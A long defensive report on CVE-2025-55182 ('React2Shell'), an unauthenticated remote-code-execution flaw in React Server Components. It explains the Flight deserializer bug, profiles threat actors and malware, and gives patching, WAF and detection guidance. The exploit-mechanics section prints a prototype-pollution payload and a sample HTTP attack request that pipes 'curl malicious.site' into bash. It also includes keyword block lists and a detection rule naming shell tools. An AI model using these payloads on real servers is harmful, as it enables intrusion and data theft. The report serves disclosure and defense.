In the annals of web security, few vulnerabilities achieve the notoriety and destructive potential of a true unauthenticated Remote Code Execution (RCE) flaw. In December 2025, the cybersecurity landscape was fundamentally altered by the disclosure of CVE-2025-55182, widely designated by the security research community as “React2Shell.” This vulnerability, carrying the maximum possible Common Vulnerability Scoring System (CVSS) score of 10.0, struck at the heart of the modern web development stack: the React Server Components (RSC) architecture.
The React2Shell vulnerability is not merely a coding error; it is a systemic failure arising from the complexities of modern “isomorphic” web applications—applications where code execution is fluidly shared between the client (browser) and the server. By exploiting the serialization mechanism known as the “Flight” protocol, attackers found a way to bridge the gap between untrusted user input and the privileged server environment. The result was a catastrophic exposure that allowed unauthorized actors to execute arbitrary system commands on servers running the world’s most popular web frameworks, including Next.js and React 19, without requiring a single credential.
This report provides a comprehensive, expert-level analysis of the React2Shell crisis. It is designed for security engineers, chief information security officers (CISOs), and full-stack developers who require a nuanced understanding of the threat. We will dissect the architectural evolution that made this vulnerability possible, perform a granular code-level analysis of the exploit mechanics, profile the sophisticated threat actors weaponizing the flaw, and detail the malware families currently circulating in the wild. Furthermore, we will establish a rigorous defense strategy that goes beyond simple patching to encompass deep architectural hardening.
Before descending into the technical depths, it is essential to frame the scale of the issue.
| Feature | Description |
|---|---|
| CVE ID | CVE-2025-55182 (React), CVE-2025-66478 (Next.js - Duplicate) |
| Severity | Critical (CVSS 10.0) |
| Attack Vector | Network (HTTP Request) |
| Authentication | None Required |
| User Interaction | None Required |
| Affected Components | React Server Components (RSC) runtime |
| Key Mechanism | Insecure Deserialization of “Flight” Protocol |
| Impact | Full System Compromise via Remote Code Execution (RCE) |
The defining characteristic of React2Shell is its “default open”
nature. Unlike vulnerabilities that require specific, rare
configurations, React2Shell affects standard, production-ready
deployments of Next.js and React 19 “out of the box.” The mere presence
of the RSC infrastructure—specifically the deserializers in
react-server-dom-webpack—is sufficient to expose the server
to attack.1
To conceptually ground the complex technical interactions detailed in this report, we will employ an extended analogy: The High-End Restaurant.
Imagine a modern web application as a restaurant.
The Client (Browser) is the Customer. They sit at the table, consuming the experience. They can interact with the meal (the User Interface) but lack the tools to prepare it.
The Server is the Kitchen. This is a secure, restricted zone containing raw ingredients (database data), sharp knives (system commands), and the restaurant’s safe (environment variables/secrets).
The React Server Component is the Chef. The chef prepares complex dishes inside the kitchen, keeping the mess and the proprietary recipes hidden from the customer.
The Flight Protocol is the Waiter. The waiter is the critical bridge. They take the customer’s order (the request) to the kitchen and bring the prepared dish (the serialized component tree) back to the table.
In the era of traditional Single Page Applications (SPAs), the kitchen effectively sent raw ingredients (JSON) to the table, and the customer had to cook them on a portable stove (client-side JavaScript). React Server Components changed this: now the kitchen does the heavy lifting.
The React2Shell vulnerability represents a catastrophic failure in the waiter’s protocol. In a secure restaurant, the waiter only accepts specific orders from a menu. However, in the vulnerable version of React, the waiter accepts any tray the customer hands them and carries it directly into the kitchen.
The attacker (a malicious customer) constructs a tray that looks like a normal dirty dish but contains a concealed explosive (the malicious payload). The waiter (the Flight deserializer), lacking the training to inspect the tray (insufficient validation), carries it past the security doors and places it right next to the Chef (the server runtime). When the Chef attempts to unpack the tray, the explosive detonates, granting the attacker control over the entire kitchen.
To understand why CVE-2025-55182 occurred, one must analyze the seismic shift in web architecture that precipitated it. The vulnerability is a direct byproduct of the complexity introduced to solve the “hydration” problem in modern web development.
For the past decade, the dominant paradigm in web development was Client-Side Rendering (CSR). Frameworks like React, Vue, and Angular shifted the rendering logic to the browser. The server became a thin API layer. While this improved interactivity, it introduced two major problems:
Performance: Browsers had to download and execute massive JavaScript bundles before the user could see anything.
Data Latency: The client had to make a round-trip to the server to fetch data, leading to “waterfall” loading states.
React Server Components (RSC) were introduced to solve this. RSC allows components to render exclusively on the server. A component can connect directly to a database, read a file, or access an internal microservice, and then stream the rendered UI to the client. This reduces the JavaScript bundle size sent to the browser and eliminates client-side data fetching waterfalls.
The introduction of RSC created a new engineering challenge: How do you transport a component tree from server to client?
You cannot simply send HTML, because the client needs to maintain the state of interactive components (like a counter or a form). You cannot send JSON, because JSON cannot represent complex JavaScript concepts like Promises, component references, or Symbols.
To bridge this gap, the React team developed a custom binary-like
serialization format known internally as the Flight
Protocol (and implemented in packages like
react-server-dom-webpack).
The Flight protocol is sophisticated. It supports:
Streaming: Data is sent in “chunks” (rows) so the browser can start rendering before the server finishes.
References: Chunks can refer to other chunks
using IDs (e.g., $1).
Promises: The server can send a “placeholder” for data that hasn’t arrived yet, which the client resolves later.
In a traditional application, the boundary between client and server is sharp. The server accepts simple JSON or form data. In an RSC application, the boundary is porous. The server and client share component code. They communicate using a complex protocol capable of representing execution flow (Promises).
The React2Shell vulnerability exploits this complexity. The vulnerability exists because the communication is bidirectional. Not only does the server send Flight payloads to the client, but in frameworks like Next.js (specifically with “Server Actions”), the client sends Flight payloads back to the server to invoke functions.3
When the server receives this payload, it must “deserialize” (reconstruct) it into JavaScript objects to execute the requested action. This is the moment of danger. If the deserializer is too trusting, it allows the attacker to reconstruct objects that should never exist in the server’s memory space.
We will now dissect the vulnerability at the code level, examining the mechanics of the insecure deserialization and the gadget chain used to achieve Remote Code Execution.
The vulnerability resides in the
react-server-dom-webpack,
react-server-dom-parcel, and
react-server-dom-turbopack packages—specifically in the
module responsible for parsing the Flight reply (typically
FlightReplyServer.js).
When the server receives a Flight payload, it parses the text stream line by line. Each line represents a “chunk” of data. The deserializer’s job is to convert these string chunks into live JavaScript objects.
The critical flaw was a lack of validation during the property assignment phase of deserialization. The code roughly followed this logic (simplified for analysis):
JavaScript
// Vulnerable logic representation
function resolveModel(response, id, value) {
const model = response._chunks.get(id);
// Iterating over keys in the received JSON
for (const key in value) {
// DANGER: No check to see if key is safe!
model[key] = value[key];
}
}
In JavaScript, every object has a prototype chain. The
__proto__ property is a reference to the object’s
prototype. If an attacker can set the __proto__ property of
an object during deserialization, they can alter the behavior of that
object and, crucially, how the runtime interacts with it. This is known
as Prototype Pollution.
The fix implemented by the React team (Commit
bbed0b0ee...) introduced a strict check using
hasOwnProperty to prevent this pollution 5:
JavaScript
// Patched logic representation
function resolveModel(response, id, value) {
//...
for (const key in value) {
// SAFETY: Ensure we are only setting own properties
if (Object.prototype.hasOwnProperty.call(value, key)) {
model[key] = value[key];
}
}
}
The React2Shell exploit does not execute code simply by sending a script. It relies on a “gadget chain”—a sequence of legitimate internal code paths that, when triggered in a specific order with specific data, result in unintended behavior.
The exploit chain observed in the wild 5 proceeds in four distinct stages, leveraging the dynamic nature of JavaScript Promises.
The attacker sends a crafted multipart HTTP request. The body of the request contains a Flight payload. A simplified version of the payload looks like this:
JSON
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {... }
}
This JSON object is designed to look like a “Promise” to the React
runtime. React handles asynchronous operations by checking if an object
has a .then() function (this is known as “duck typing”). If
it does, React treats it as a Promise and attempts to “resolve” it.
The key to the exploit is the property
"then": "$1:__proto__:then".
In the Flight protocol, the syntax $id:path allows one
chunk to reference a property inside another chunk. Here, the attacker
is telling the deserializer: “This object has a then
method. You can find the code for this method at the path
__proto__.then of chunk $1.”
By pointing the then method to the object’s own
prototype then, the attacker forces the React runtime to
execute a function controlled by the prototype chain. This effectively
hijacks the control flow of the application.
Once control flow is hijacked, the attacker needs to break out of the
sandbox. The payload navigates to the constructor of the
object.
In JavaScript:
{}.constructor is Object.
Object.constructor is
Function.
The global Function constructor is extremely powerful.
It allows the creation of new functions from strings. For example,
new Function("return 5") creates a function that returns 5.
Crucially, code created this way has access to the global scope.
The payload references "$1:constructor:constructor".
This gives the attacker a reference to the global Function
constructor.
child_processWith access to Function, the attacker creates a function
that imports the Node.js child_process module. This module
is the standard way Node.js interacts with the underlying operating
system.
The payload constructs arguments for this new function that look effectively like this:
JavaScript
process.mainModule.require('child_process').execSync('whoami')
Because the React server is running inside Node.js (which is standard for Next.js), this command is executed with the privileges of the web server user. The attacker now has a shell.
The actual payloads seen in the wild are complex, often involving multipart form data to bypass simple JSON parsers. Based on analysis of active exploits 6, a typical attack request looks like this:
HTTP
POST /_next/static/chunks/app/page.js HTTP/1.1
Host: vulnerable-target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
Next-Action:
------WebKitFormBoundary...
Content-Disposition: form-data; name="1"
{"then":"$1:__proto__:then", "status":"resolved_model", "value":"{\"then\":\"$B\"}", "_response":{"_prefix":"process.mainModule.require('child_process').execSync('curl malicious.site | bash')"}}
------WebKitFormBoundary...
Key Payload Components:
Next-Action Header: Tells the
Next.js server that this request is intended to trigger a Server Action,
invoking the vulnerable deserializer.
$1:__proto__:then: The pointer that
pollutes the prototype chain.
_prefix: This field is often used
to store the string of JavaScript code the attacker wishes to
execute.
execSync: The Node.js function that
executes the shell command synchronously, ensuring the server waits for
the malicious command to finish before proceeding.
The timeline of React2Shell exploitation reveals a rapid and sophisticated weaponization process. Unlike vulnerabilities that remain theoretical for weeks, CVE-2025-55182 was exploited within hours of public disclosure.
November 29, 2025: Security researcher Lachlan Davidson discovers the flaw and reports it responsibly to Meta/React Team.1
December 3, 2025: The React team releases patched versions (React 19.0.1) and a public advisory. The vulnerability is assigned CVSS 10.0.
December 4, 2025 (T+24 Hours): Amazon Threat
Intelligence detects the first organized scanning activity originating
from IP 183[.]6.80.214. This cluster spends nearly an hour
troubleshooting exploit payloads against honeypots, attempting commands
like whoami and id.1
December 5, 2025: Proof-of-Concept (PoC) code proliferates on GitHub 7, lowering the barrier to entry for lower-tier attackers.
December 8, 2025: Specialized campaigns by state-aligned actors (UNC6586, Earth Lamia) are identified, deploying custom malware.8
December 12, 2025: Google Threat Intelligence confirms multiple distinct kill chains, identifying specific malware families like SNOWLIGHT and KSwapDoor.9
The exploitation of React2Shell is not monolithic; it involves distinct groups with varying motivations.
Attribution: Suspected China-nexus state actor.8
Objective: Rapid establishment of persistence for long-term espionage.
TTPs (Tactics, Techniques, and Procedures):
Initial Access: Exploits CVE-2025-55182 using
curl or wget.
Staging: Downloads a secondary shell script.
Payload: Deploys SNOWLIGHT, a specialized downloader.
Persistence: SNOWLIGHT subsequently installs the VSHELL backdoor, a cross-platform remote access trojan (RAT) written in Go.
C2 Infrastructure: Uses domains mimicking
legitimate infrastructure, such as
reactcdn.windowserrorapis[.]com.
Attribution: China-nexus threat group.8
Objective: Cloud environment compromise and lateral movement.
TTPs:
Post-Exploitation: Immediately pivots to querying Cloud Metadata Services.
Targets: AWS Instance Metadata Service (IMDSv1/v2), Azure Instance Metadata, Google Cloud Metadata.
Goal: Retrieve temporary IAM credentials (Access Key, Secret Key, Session Token) to escalate privileges within the victim’s cloud environment (e.g., S3 access, EC2 control).
Attribution: Financially motivated cybercrime groups.8
Objective: Cryptocurrency mining.
TTPs:
Payload: Deploys XMRig (Monero miner) binaries.
Behavior: High CPU usage immediately following exploitation. This group is “noisy” and often the first to be detected by monitoring systems, inadvertently alerting defenders to the breach before the stealthier actors can establish a foothold.
The malware deployed via this vulnerability is highly specific and adapted for the environment.
SNOWLIGHT is a compact dropper designed to be the “beachhead” on a compromised server.8
Delivery: Fetched via a curl
command with specific flags: -m180 (max time 180 seconds)
and -o /tmp/.x (write to temp).
Function: It establishes an encrypted connection to the C2 server and pulls down the larger VShell binary.
Evasion: It often masquerades as a legitimate system process or utilizes “sleep” techniques to evade behavioral analysis sandboxes.
VSHELL is a sophisticated RAT written in Go, making it binary-compatible with both Linux and Windows servers.2
Features:
Reverse Shell: Interactive command line access.
File Transfer: Upload/Download capabilities.
Tunneling: Can act as a SOCKS5 proxy, allowing the attacker to tunnel traffic through the compromised web server to reach internal database servers or intranets that are not exposed to the internet.
Process Injection: Capable of injecting into other running processes to hide its presence.
Perhaps the most insidious payload is the “Secret-Hunter” script identified by Trend Micro.5
Mechanism: It is a pure JavaScript payload that runs inside the Node.js process.
Targeting: It iterates through
process.env (Environment Variables). In modern DevOps
(Docker/Kubernetes), secrets like DB passwords, API keys, and Cloud
Credentials are almost always stored in environment variables.
Exfiltration: It bundles these keys and sends them to an external server.
Persistence: It does not write files to disk, making it invisible to traditional file-system antivirus. It resides only in memory until the application is restarted.
The Critical nature of React2Shell demands an immediate and layered response. Relying on a single control (like a WAF) is insufficient given the adaptability of the exploit payloads.
This is the non-negotiable first step. The vulnerability exists in the application code itself; therefore, the application code must be changed.
The Patching Matrix:
| Framework/Package | Vulnerable Versions | Safe/Patched Versions |
|---|---|---|
| React Core (react-server-dom-*) | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Next.js (App Router) | v15.x, v16.x | v15.0.5+, v16.0.7+ |
| Next.js (Canary) | v14.3.0-canary.77+ | Latest Canary |
| Waku | All previous | Latest Release |
| RedwoodJS | All with RSC enabled | Latest Release |
Crucial Note on Dependencies: Simply running
npm update next might not be enough if your
package-lock.json or yarn.lock pins the
underlying react-server-dom-webpack version. You must
verify the installed version of the sub-dependency:
Bash
npm list react-server-dom-webpack
If this returns a version in the 19.0.0–19.2.0 range, your application is vulnerable, regardless of the Next.js version number. Force an update of the lockfile.
Web Application Firewalls provide a shield while patching is underway. However, the Flight protocol is complex, and regex-based rules can be bypassed.
Recommended WAF Rules:
Configure your WAF to block requests matching the following logic:
Request Type: POST
Content-Type: multipart/form-data
OR text/x-component
Body Patterns (Case Insensitive):
__proto__
prototype
constructor
child_process
execSync
Platform-Specific Protections:
Cloudflare: Customers using Cloudflare WAF are
automatically protected if the “Managed Ruleset” is enabled. Cloudflare
deployed a rule to block requests containing __proto__
combined with Flight headers.12
Vercel: Vercel has applied platform-level mitigation for all hosted Next.js projects. However, self-hosted Next.js instances (e.g., in Docker containers on AWS EC2) do not benefit from this and must be patched manually.13
Google Cloud Armor: Use the
cve-canary preconfigured rule set, which has been updated
to detect CVE-2025-55182 payloads.14
If the WAF is bypassed, the final line of defense is detecting the behavior of the exploit.
Process Monitoring (Falco/EDR):
The exploit almost always results in the Node.js process spawning a shell command. This is highly anomalous behavior for a web server.
Alert Rule: Trigger an alert if process
node spawns sh, bash,
dash, curl, or wget.
File System Monitoring: Trigger an alert if the
node process writes executable files to /tmp
or /var/tmp.
Elastic Detection Rule:
Elastic Security has released a specific query to detect this chain 15:
Code snippet
process.parent.name: "node" AND process.name: ("sh" OR "bash" OR "dash" OR "curl" OR "wget")
If you are running a vulnerable version, assume you have been scanned. To verify actual compromise, check logs for:
HTTP Logs: Search for POST requests
to /_next/static/... or endpoints with
Next-Action headers that resulted in 200 OK
status codes (successful execution) rather than 500
(blocked/failed).
Network Logs: Look for outbound connections from
your web servers to unknown IP addresses, particularly on non-standard
ports, or connections to the known C2 domain
reactcdn.windowserrorapis[.]com.
File System: Check /tmp for
suspicious hidden files (e.g., .x, .lock,
.script).
The security community has drawn parallels between React2Shell and the infamous Log4Shell vulnerability of 2021. Both are unauthenticated RCEs caused by insecure handling of input strings in ubiquitous libraries.
Like Log4Shell, React2Shell will likely have a “long tail.” The
react-server-dom-webpack package is often a transitive
dependency—a library used by a library used by your framework. Many
developers may not even know they have it installed. We can expect to
see exploits surfacing in legacy systems years from now as neglected
internal tools are discovered by automated scanners.
This crisis highlights the urgent need for “Secure-by-Design” principles in the JavaScript ecosystem. The decision to allow the Flight deserializer to process prototype properties by default was a design flaw. Future versions of these protocols must adopt a “allowlist” approach—explicitly defining what can be deserialized—rather than a “blocklist” approach that tries to filter out bad inputs.
The React2Shell vulnerability is a watershed moment for Server-Side Rendering security. It demonstrates that as we push logic from the client back to the server, we also push the attack surface. The “Waiter” (Flight Protocol) can no longer be trusted blindly.
For organizations utilizing React and Next.js, the path forward is clear: Patch immediately, audit your dependency trees for hidden vulnerable packages, and implement strict runtime monitoring. The era of assuming the server environment is safe from the client’s reach is over; in the world of RSC, the client is already in the kitchen.
Works cited
China-nexus cyber threat groups rapidly exploit React2Shell vulnerability (CVE-2025-55182) | AWS Security Blog, accessed December 28, 2025, https://aws.amazon.com/blogs/security/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/
Defending against the CVE-2025-55182 (React2Shell) vulnerability in React Server Components | Microsoft Security Blog, accessed December 28, 2025, https://www.microsoft.com/en-us/security/blog/2025/12/15/defending-against-the-cve-2025-55182-react2shell-vulnerability-in-react-server-components/
React2Shell Explained (CVE-2025-55182): From Vulnerability Discovery to Exploitation, accessed December 28, 2025, https://www.resecurity.com/blog/article/react2shell-explained-cve-2025-55182-from-vulnerability-discovery-to-exploitation
Critical vulnerability in React Server Components (RSC) protocol | by Akhshy Ganesh | Dec, 2025 | Medium, accessed December 28, 2025, https://medium.com/@akhshyganesh/critical-vulnerability-in-react-server-components-rsc-protocol-ed0053d8b65d
CVE-2025-55182: React2Shell Analysis, Proof-of-Concept Chaos, and In-the-Wild Exploitation - Trend Micro, accessed December 28, 2025, https://www.trendmicro.com/en_us/research/25/l/CVE-2025-55182-analysis-poc-itw.html
CVE-2025-55182 – React Server Components RCE via Flight …, accessed December 28, 2025, https://www.offsec.com/blog/cve-2025-55182/
react2shell · GitHub Topics, accessed December 28, 2025, https://github.com/topics/react2shell
Multiple Threat Actors Exploit React2Shell (CVE-2025-55182) | Google Cloud Blog, accessed December 28, 2025, https://cloud.google.com/blog/topics/threat-intelligence/threat-actors-exploit-react2shell-cve-2025-55182
React2Shell Vulnerability Actively Exploited to Deploy Linux Backdoors - The Hacker News, accessed December 28, 2025, https://thehackernews.com/2025/12/react2shell-vulnerability-actively.html
Exploitation of Critical Vulnerability in React Server Components (Updated December 12), accessed December 28, 2025, https://unit42.paloaltonetworks.com/cve-2025-55182-react-and-cve-2025-66478-next/
The Silent, Fileless Threat of VShell - Trellix, accessed December 28, 2025, https://www.trellix.com/blogs/research/the-silent-fileless-threat-of-vshell/
React2Shell and related RSC vulnerabilities threat brief: early exploitation activity and threat actor techniques - The Cloudflare Blog, accessed December 28, 2025, https://blog.cloudflare.com/react2shell-rsc-vulnerabilities-exploitation-threat-brief/
Summary of CVE-2025-55182 - Vercel, accessed December 28, 2025, https://vercel.com/changelog/cve-2025-55182
Responding to CVE-2025-55182 | Google Cloud Blog, accessed December 28, 2025, https://cloud.google.com/blog/products/identity-security/responding-to-cve-2025-55182
Suspicious React Server Child Process - Detection.FYI, accessed December 28, 2025, https://detection.fyi/elastic/detection-rules/cross-platform/initial_access_execution_susp_react_serv_child/
Priority-Zero Patching Event: React2Shell - Armis, accessed December 28, 2025, https://www.armis.com/blog/priority-zero-patching-event-react2shell/
Critical Security Vulnerability in React Server Components, accessed December 28, 2025, https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
PeerBlight Linux Backdoor Exploits React2Shell CVE-2025-55182 | Huntress, accessed December 28, 2025, https://www.huntress.com/blog/peerblight-linux-backdoor-exploits-react2shell